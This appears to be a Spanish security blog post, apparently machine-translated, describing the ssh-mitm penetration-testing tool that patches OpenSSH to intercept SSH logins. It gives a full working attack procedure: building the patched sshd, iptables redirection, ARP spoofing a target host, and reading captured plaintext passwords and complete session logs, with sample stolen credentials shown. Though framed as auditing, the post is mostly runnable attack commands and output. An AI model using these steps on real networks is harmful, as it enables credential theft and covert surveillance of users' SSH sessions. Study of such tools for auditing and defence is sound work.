Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

sábado, 20 de mayo de 2017

Herramienta Pruebas de Penetración SSH man-in-the-middle



Esta herramienta de pruebas de penetración permite que un auditor para interceptar las conexiones SSH. 


Un parche que se aplica al código fuente v7.5p1 OpenSSH hace que actuar como un proxy entre la víctima y su servidor SSH que está destinado; todas las contraseñas en texto plano y las sesiones se graban en el disco. 

Por supuesto, el cliente SSH de la víctima se quejan de que la clave del servidor ha cambiado. Pero debido a 99,99999% de las veces esto es causado por una acción legítima (OS re-instalar, cambio de configuración, etc.), muchos / la mayoría de usuarios no tendrá en cuenta la advertencia y continuar. 

NOTA: Sólo ejecutar el sshd modificado en una máquina virtual o un contenedor! Ediciones ad-hoc se realizaron a las fuentes de OpenSSH en regiones críticas, sin tener en cuenta sus consecuencias para la seguridad. No es difícil imaginar que estas modificaciones introducen vulnerabilidades graves. Hasta que se elimine la dependencia de los privilegios de root, asegúrese sólo para ejecutar este código en MVS / envases de usar y tirar.

Que hacer

Esta es la primera versión de esta herramienta. Si bien es muy útil como está, sin embargo hay cosas que mejorar:

SFTP MITM'ing.
Añadir soporte de reenvío de puertos.
Retire la dependencia de los privilegios de root.
Crea un script que detecta cuando el usuario está tratando de utilizar la autenticación de clave única, y de-spoof de forma automática.

Configuración inicial: 

1.) Instalar zlib y openssl headers:

sudo apt install zlib1g-dev libssl-dev

2.) Descargar OpenSSH v7.5p1 y verifcar su firma:

wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/RELEASE_KEY.asc
wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz
wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz.asc
gpg --import RELEASE_KEY.asc
gpg --verify openssh-7.5p1.tar.gz.asc openssh-7.5p1.tar.gz

3.) Descomprime el código, parchear las fuentes, y compilarlo:

tar xzf openssh-7.5p1.tar.gz
patch -p0 < openssh-7.5p1-mitm.patch
mv openssh-7.5p1 openssh-7.5p1-mitm; cd openssh-7.5p1-mitm; ./configure --with-sandbox=no && make -j 10

4.) Crear claves y el entorno de configuración:
sudo ssh-keygen -t ed25519 -f /usr/local/etc/ssh_host_ed25519_key < /dev/null
sudo ssh-keygen -t rsa -b 4096 -f /usr/local/etc/ssh_host_rsa_key < /dev/null
sudo useradd -m sshd && sudo useradd -m bogus && sudo chmod 0700 ~sshd ~bogus
sudo mkdir /var/empty; sudo cp ssh ~bogus/

Corremos el ataque: 

1.) Correr sshd:
cd /path/to/openssh-7.5p1-mitm
sudo $PWD/sshd -f $PWD/sshd_config

2.) Habilitar el reenvío IP:
sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -P FORWARD ACCEPT

3.) Permitir conexiones a sshd y modificar el trazado remitido conexiones SSH:
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 22

4.) ARP spoof un objetivo (s) (Protip: no suplantar todas las cosas que su interfaz de red débil probablemente no será capaz de manejar el tráfico de toda una red de una sola vez suplantar Sólo un par de direcciones IP a la vez) arpspoof -r -t 192.168.x.1 192.168.x.5

5.) Monitor auth.log. Intercepted passwords will appear here:
sudo tail -f /var/log/auth.log

6.) Una vez que se establece una sesión, un registro completo de toda la entrada y salida se pueden encontrar en /home/bogus/session_*.txt.

Muestra de resultados: 

Tras el éxito, /var/log/auth.log tendrá que registran las líneas de la contraseña, asi:

May 16 23:14:01 showmeyourmoves sshd[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Por otra parte, toda la sesión SSH de la víctima se encuentra en  /home/bogus/session_*.txt:

# cat /home/bogus/session_0.txt
Last login: Tue May 16 21:35:00 2017 from 10.50.22.x
OpenBSD 6.0-stable (GENERIC.MP) #12: Sat May  6 19:08:31 EDT 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Utilice el sendbug (1) utilidad para informar de los errores en el sistema. 
Antes de informar de un error, intenta reproducirla con la última versión del código. Con los informes de error, intenta garantizar que la información suficiente para reproducir el problema está encerrado, y si una solución conocida para ella existe, que incluirá también.

jdog@jefferson ~ $ ppss
PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Nota que los personajes de los comando del usuario aparecen dos veces en el archivo debido a que la entrada del usuario se registra , así como la salida de la shell (que se hace eco de caracteres espalda). Observe que cuando programas como sudo ssh y desactivar temporalmente haciendo eco con el fin de leer una contraseña, los caracteres duplicados no se registran.

Para mayor información y descarga consulten: https://github.com/jtesta/ssh-mitm

0 comentarios:

Publicar un comentario